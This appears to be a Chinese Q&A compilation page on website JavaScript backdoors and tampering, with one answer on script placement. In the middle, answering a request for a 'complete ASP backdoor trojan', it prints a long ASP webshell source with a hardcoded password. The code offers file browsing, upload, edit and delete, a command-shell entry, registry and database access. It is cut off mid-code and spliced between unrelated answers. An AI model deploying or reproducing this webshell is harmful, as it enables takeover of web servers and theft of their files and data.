本文目录一览:
- 1、shBrushPhp.js 是不是后门,程序是asp ,怎么会是PHP的运行
- 2、假如js文件里有后门,我把他传到oss里远程调用可以防黑吗?
- 3、网站js文件内容被篡改,应该怎么办
- 4、谁能给我个完整asp后门木马代码
- 5、js为什么在html代码最后
shBrushPhp.js 是不是后门,程序是asp ,怎么会是PHP的运行
不是
这个js是高亮代码的.
就是你插入代码字段时自动着色的
假如js文件里有后门,我把他传到oss里远程调用可以防黑吗?
不论怎样,js文件最终都要下载到本地浏览器中运行,因此,起不到防黑的效果。
要防黑,可以将浏览器的安全等级设置得更高。有必要的话,甚至可以禁用浏览器的js脚本执行功能。
网站js文件内容被篡改,应该怎么办
应对方法:
一、复原js
1、如果熟悉js,则检查js,修改被篡改内容。
2、请用以前网站备份程序中的同名js替换掉被篡改js。
3、如果是使用一些开源系统,可以去其官网下载程序包,用其中同名js替换掉被篡改js。
二、要对网站程序和系统彻底杀毒,以清楚木马、后门。
三、修改服务器及网站后台账户密码,以免密码泄露或被破解。
四、给系统、网站程序打补丁,修复已知漏洞。
五、安装和配置好安全软件、防火墙等,以免被再次入侵、篡改。
谁能给我个完整asp后门木马代码
将以下文件保存问shell.asp 访问密码是1 仅供学习研究之用,慎重使用。
%
dim ApplicationName,Pass,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW
Server.ScriptTimeout=50000
On Error Resume Next
ApplicationName = "WebShell"
UserPass = "1" '设置密码.
URL = Request.ServerVariables("URL")
ServerNM = Request.ServerVariables("SERVER_NAME")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = "meta http-equiv='refresh' content='2;URL=?Action=ShowFile'"
If Request("Pass")=UserPass then Session("webadmin")=UserPass
If Session("webadmin")UserPass Then
If Request.Form("Pass")"" Then
If Request.Form("Pass")=UserPass Then
Session("webadmin")=UserPass
Response.Redirect URL
Else
Response.Write"验证失败!"
End If
Else
RW="center style='font-size:12px'brbrWKWL专用ASP木马"
RW=RW "form action='" URL "' method='post'"
RW=RW "密码:input name='Pass' type='password' size='15' style='font-size: 12px;border: menu 1px solid'"
RW=RW " input type='submit' value='杀进去' style='border-width: 1px'/form/center"
Response.Write RW
RW=""
End If
Response.End
End If%
object runat='server' id='ws' scope='page' classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8'/object
object runat='server' id='ws' scope='page' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'/object
object runat='server' id='fso' scope='page' classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'/object
object runat='server' id='sa' scope='page' classid='clsid:13709620-C279-11CE-A49E-444553540000'/object
html
head
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
title%=ApplicationName" - "ServerIP%/title
style type="text/css"
!--
body,td {font-size: 12px;}
body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;
%If Action="" then response.write "overflow-x:hidden;overflow-y:hidden;"%}
input,select,textarea {font-size: 12px;}
.border{border: menu 1px solid;}
.submit{border-width: 1px;}
a {color: black;text-decoration: none;}
--
/style
script language="javascript"
function yesok(){
if (confirm("确认要执行此操作吗?"))
return true;
else
return false;
}
function ShowFolder(Folder){
top.addrform.FolderPath.value = Folder;
top.addrform.submit();
}
function FullForm(FName,FAction){
top.hideform.FName.value = FName;
if(FAction=="CopyFile"){
DName = prompt("请输入复制到目标文件全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="MoveFile"){
DName = prompt("请输入移动到目标文件全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="CopyFolder"){
DName = prompt("请输入移动到目标文件夹全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="MoveFolder"){
DName = prompt("请输入移动到目标文件夹全名称",FName);
top.hideform.FName.value += "||||"+DName;
}else if(FAction=="NewFolder"){
DName = prompt("请输入要新建的文件夹全名称",FName);
top.hideform.FName.value = DName;
}else if(FAction=="CreateMdb"){
DName = prompt("请输入要新建的Mdb文件全名称,注意不能同名!",FName);
top.hideform.FName.value = DName;
}else if(FAction=="CompactMdb"){
DName = prompt("请输入要压缩的Mdb文件全名称,注意文件是否存在!",FName);
top.hideform.FName.value = DName;
}else{
DName = "Other";
}
if(DName!=null){
top.hideform.Action.value = FAction;
top.hideform.submit();
}else{
top.hideform.FName.value = "";
}
}
function DbCheck(){
if(DbForm.DbStr.value == ""){
alert("请先连接数据库");
FullDbStr(0);
return false;
}
return true;
}
function FullDbStr(i){
if(i0){
return false;
}
Str = new Array(12);
Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=%=RePath(Session("FolderPath"))%\\DbName.mdb;Jet OLEDB:Database Password=***";
Str[1] = "Driver={Sql Server};Server=%=ServerIP%,1433;Database=DbName;Uid=sa;Pwd=****";
Str[2] = "Driver={MySql};Server=%=ServerIP%;Port=3306;Database=DbName;Uid=root;Pwd=****";
Str[3] = "Dsn=DsnName";
Str[4] = "SELECT * FROM [TableName] WHERE ID100";
Str[5] = "INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')";
Str[6] = "DELETE FROM [TableName] WHERE ID=100";
Str[7] = "UPDATE [TableName] SET USER=\'username\' WHERE ID=100";
Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
Str[9] = "DROP TABLE [TableName]";
Str[10]= "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
Str[11]= "ALTER TABLE [TableName] DROP COLUMN PASS";
Str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
if(i=3){
DbForm.DbStr.value = Str[i];
DbForm.SqlStr.value = "";
SFSO.innerHTML="center请确认己连接数据库再输入SQL操作命令语句。/center";
}else if(i==12){
alert(Str[i]);
}else{
DbForm.SqlStr.value = Str[i];
}
return true;
}
function FullSqlStr(str,pg){
if(DbForm.DbStr.value.length5){
alert("请检查数据库连接串是否正确!")
return false;
}
if(str.length10){
alert("请检查SQL语句是否正确!")
return false;
}
DbForm.SqlStr.value = str ;
DbForm.Page.value = pg;
SFSO.innerHTML="";
DbForm.submit();
return true;
}
function CheckAll(){
for (var i=0;iDownId.length;i++) DownId[i].checked=!DownId[i].checked;
}
function Url(){
for (var i=0;iDownId.length;i++)
{
if (DownId[i].checked==true)
{
temp.value+=DownId[i].value+"\n";
}
}
if (temp.value=="")
{
window.alert("你还没有选择要下载的地址!");
return false;}
else
{
js=temp.createTextRange();
js.execCommand("Copy");
temp.value="";
window.alert("复制完毕!记得在复制之前打开下载工具监视剪贴板。");
}
}
/script
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
/head
body onmouseover="window.status='Powered by:Lzhj QQ:5079087';return true"
%
Dim ObT(13,1)
ObT(0,0) = "Scripting.FileSystemObject"
ObT(0,1) = "文件操作组件"
ObT(1,0) = "wscript.shell"
ObT(1,1) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,1) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,1) = "ACCESS压缩组件"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,1) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,1) = "数据库连接组件"
ObT(6,0) = "Adodb.Stream"
ObT(6,1) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,1) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,1) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,1) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,1) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,1) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,1) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,1) = "数据传输组件"
Function IsObj(obt)
dim i,T
on error resume next
Set T=Server.CreateObject(obt)
If -2147221005 Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
End Function
sub ShowErr()
If Err Then
Response.Write"bra href='javascript:history.back()' " Err.Description "/a"
Err.Clear:Response.Flush
End If
end sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, "", "")
S = replace(S, "", "")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function
If FolderPath"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
dim fso,osm,ads,rs,conn
Function MainMenu()
RW="form name='hideform' method='post' action='" URL "' target='FileFrame'"
RW=RW "input type='hidden' name='Action'input type='hidden' name='FName'/form"
RW=RW "table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'"
RW=RW "trtd height='20'"
RW=RW "table width='100%' height='20' border='0' cellpadding='0' cellspacing='0'"
RW=RW "form name='addrform' method='post' action='" URL "' target='_parent'"
RW=RW "trtd width='60' align='center'地址栏:/tdtd"
RW=RW "input name='FolderPath' style='width:100%' value='" Session("FolderPath") "' style='border:black 1px solid;'"
RW=RW "/tdtd width='60' align='center'input name='Submit' type='submit' value='转到' class='submit'"
RW=RW "/td/tr/form/table/td/trtrtd height='20' 文件操作:"
Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing
RW=RW "a href='javascript:ShowFolder(""C:\\Progra~1"")'[程序文件]/a a href='javascript:ShowFolder(""C:\\Docume~1"")'[我的文档]/a "
RW=RW "a href='javascript:ShowFolder("""RePath(WWWRoot)""")'[网站目录]/a/tr/tdtrtd height='20'"
RW=RW " 切换功能:a href='javascript:FullForm("""RePath(Session("FolderPath")"\NewFolder")""",""NewFolder"")'[新建目录]/a "
RW=RW "a href='?Action=EditFile' target='FileFrame'[新建文本]/a a href='?Action=UpFile' target='FileFrame'[文件上传]/a "
RW=RW "a href='?Action=CmdShell' target='FileFrame'[CMD命令行]/a a href='?Action=TSearch' target='FileFrame'[搜索引擎]/a "
RW=RW "a href='?Action=Course' target='FileFrame'[系统服务]/a a href='?Action=TRegedit' target='FileFrame'[注册表操作]/a "
RW=RW "a href='?Action=ServerInfo' target='FileFrame'[服务器信息]/a/td/trtrtd height='20' 数据库功能:a href='?Action=DbManager' target='FileFrame'[数据库操作]/a "
RW=RW "a href='?Action=ToMdb' target='FileFrame'[程序打包入库/出库]/a | a href='?Action=Logout' target='_top'[退出登录]/a"
RW=RW "trtdiframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'/iframe/td/tr/table"
Response.Write RW
RW=""
End Function
if request("DownFile")"" then call DownFile(request("DownFile"))
Function DownFile(Path)
Response.Clear
On Error Resume Next
Set osm = CreateObject(ObT(6,0))
osm.Open
osm.Type = 1
osm.LoadFromFile Path
sz=InstrRev(path,"\")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" Mid(path,sz)
Response.AddHeader "Content-Length",osm.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite osm.Read
Response.Flush
osm.Close
Set osm = Nothing
Response.End
End Function
Class LBF
Private Sub Class_Initialize
Set fso=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set fso=Nothing
End Sub
Function ShowDriver()
dim D
For Each D in fso.Drives
RW=RW"a href='javascript:ShowFolder("""D.DriveLetter":\\"")'磁盘["D.DriveLetter":]/a "
Next
ShowDriver=RW
End Function
Function ShowFile(Path)
dim F,L,Fold,i
RW="table border='0' cellpadding='2' width='800' height='100%' bgcolor='#EFEFEF' align='center'"
RW=RW "trtd width='200' valign='top'"
RW=RW "table border='0' cellpadding='0' cellspacing='0' width='100%'"
RW=RW "trtd width='100%'/td/tr"
Set FOLD=fso.GetFolder(Path)
For Each F in FOLD.subfolders
RW=RW "trtd width='100%' height='20'a href='javascript:ShowFolder("""RePath(Path"\"F.Name)""")'["F.Name"]/a"
RW=RW " |a href='javascript:FullForm("""Replace(Path"\"F.Name,"\","\\")""",""DelFolder"")' onclick='return yesok()'删除/a"
RW=RW " a href='javascript:FullForm("""RePath(Path"\"F.Name)""",""CopyFolder"")' onclick='return yesok()'复制/a"
RW=RW " a href='javascript:FullForm("""RePath(Path"\"F.Name)""",""MoveFolder"")' onclick='return yesok()'移动/a/td/tr"
Next
RW=RW "/table/tdtd width='600' valign='top' bgcolor='#FFFFFF'table border='0' cellspacing='1' cellpadding='0' cellspacing='0' width='100%'"
Response.Write RW : RW=""
For Each L in Fold.files
i=i+1
RW="tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className=''"" "
RW=RW "td width='45%' input type='checkbox' name='DownId' value='http://"ServerNMURL"?Pass="UserPass"DownFile="RePath(Path"\"L.Name)"'"
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""DownFile"");' title='下载'"L.Name"/a/td"
RW=RW "td width='10%'"clng(L.size/1024)"K/td"
RW=RW "td width='20%' align='center'" year(L.DateLastModified) "-" right("0"month(L.DateLastModified),2) "-" right("0"day(L.DateLastModified),2) " " FormatDateTime(L.DateLastModified,4)
RW=RW "td width='25%' align='center'a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""EditFile"")'编辑/a "
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""DelFile"")' onclick='return yesok()'删除/a "
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""CopyFile"")'复制/a "
RW=RW "a href='javascript:FullForm("""RePath(Path"\"L.Name)""",""MoveFile"")'移动/a/td/td/tr"
Response.Write RW : RW=""
Next
if i0 then Response.Write "trtdbrinput type='checkbox' name='all' value='all' onClick='CheckAll()'反向选择 input type='submit' value='批量下载' name='downurl' style='width:80' onClick='Url()' class='submit'div style=display:'none'textarea rows='0' name='temp' cols='0'/textarea/div/td/tr"
i=0
Response.Write "/table/td/tr/table"
Set FOLD=Nothing
End Function
Function EditFile(Path)
dim T
If Request("Action2")="Post" Then
Set T=fso.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=Nothing
Set fso=Nothing
RW="centerbrbrbr文件保存成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
Response.End
End If
If Path"" Then
Set T=fso.opentextfile(Path, 1, False)
On Error Resume Next
Txt=HTMLEncode(T.readall)
if err then err.Clear
T.close
Set T=Nothing
Else
Path=Session("FolderPath")"\newfile.asp":Txt="新建文件"
End If
RW="brtable width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'"
RW=RW"Form action='"URL"?Action2=Post' method='post' name='EditForm'trtd height='20' align='center' bgcolor='menu'文本编辑器/td/tr"
RW=RW"trtd bgcolor='#FFFFFF' align='center'input name='Action' value='EditFile' Type='hidden'"
RW=RW"input name='FName' value='"Path"' style='width:580' class='border'/td/tr"
RW=RW"trtd bgcolor='#FFFFFF' align='center'textarea name='Content' style='width:580;height:450' class='border'"Txt"/textarea/td/tr"
RW=RW"trtd bgcolor='#FFFFFF' align='center'input name='goback' type='button' value='返回' onclick='history.back();' class='submit' input name='reset' type='reset' value='重置' class='submit' input name='submit' type='submit' value='保存' class='submit'"
RW=RW"/td/tr/form/table"
Response.Write RW : RW=""
End Function
Function DelFile(Path)
If fso.FileExists(Path) Then
fso.DeleteFile Path
RW="centerbrbrbr文件 "Path" 删除成功!/center"
RW=RW BackUrl
Response.Write RW
End If
End Function
Function CopyFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)"" Then
fso.CopyFile Path(0),Path(1)
RW="centerbrbrbr文件" Path(0) "复制成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function MoveFile(Path)
Path = Split(Path,"||||")
If fso.FileExists(Path(0)) and Path(1)"" Then
fso.MoveFile Path(0),Path(1)
RW="centerbrbrbr文件" Path(0) "移动成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function DelFolder(Path)
If fso.FolderExists(Path) Then
fso.DeleteFolder Path
RW="centerbrbrbr目录" Path "删除成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)"" Then
fso.CopyFolder Path(0),Path(1)
RW="centerbrbrbr目录" Path(0) "复制成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function MoveFolder(Path)
Path = Split(Path,"||||")
If fso.FolderExists(Path(0)) and Path(1)"" Then
fso.MoveFolder Path(0),Path(1)
RW="centerbrbrbr目录" Path(0) "移动成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
Function NewFolder(Path)
If Not fso.FolderExists(Path) and Path"" Then
fso.CreateFolder Path
RW="centerbrbrbr目录" Path "新建成功!/center"
RW=RW BackUrl
Response.Write RW : RW=""
End If
End Function
End Class
Function UpFile()
dim strFileName
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
RW="br请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
RW="centerbrbrbr文件" UName "上传成功!/center"
End if
End If
Set F=nothing:Set U=nothing
RW=RW BackUrl
Response.Write RW
ShowErr()
Response.End
End If
RW="brtable width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'"
RW=RW "form name='UpForm' method='post' action='"URL"?Action=UpFileAction2=Post' enctype='multipart/form-data'"
RW=RW "trtd height='20' align='center' bgcolor='menu'上传文件/td/tr"
RW=RW "trtd align='center' bgcolor='#FFFFFF'"
RW=RW "上传路径:input name='ToPath' value='"RRePath(Session("FolderPath")"\newup.asp")"' style='width:250' class='border' "
RW=RW "input name='LocalFile' type='file' style='width:225' class='border' "
RW=RW "input type='submit' name='Submit' value='上传' class='submit'"
RW=RW "/td/tr/form/table"
Response.Write RW
End Function
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject("Scripting.Dictionary")
if Request.TotalBytes1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject("Scripting.Dictionary")
vbCrlf = chrB(13) chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt
js为什么在html代码最后
不一定要在最后,放在最前面也可以,但是要保证你调用某个元素之前,这个元素已经存在了。
常用的方式是把js代码写成如下方式
js原生
docuemnt.ready = function(){
//代码。。
//我很少用这个,记不太清楚了
}
2.jquery
$(function(){
//代码
//我基本上用这个
});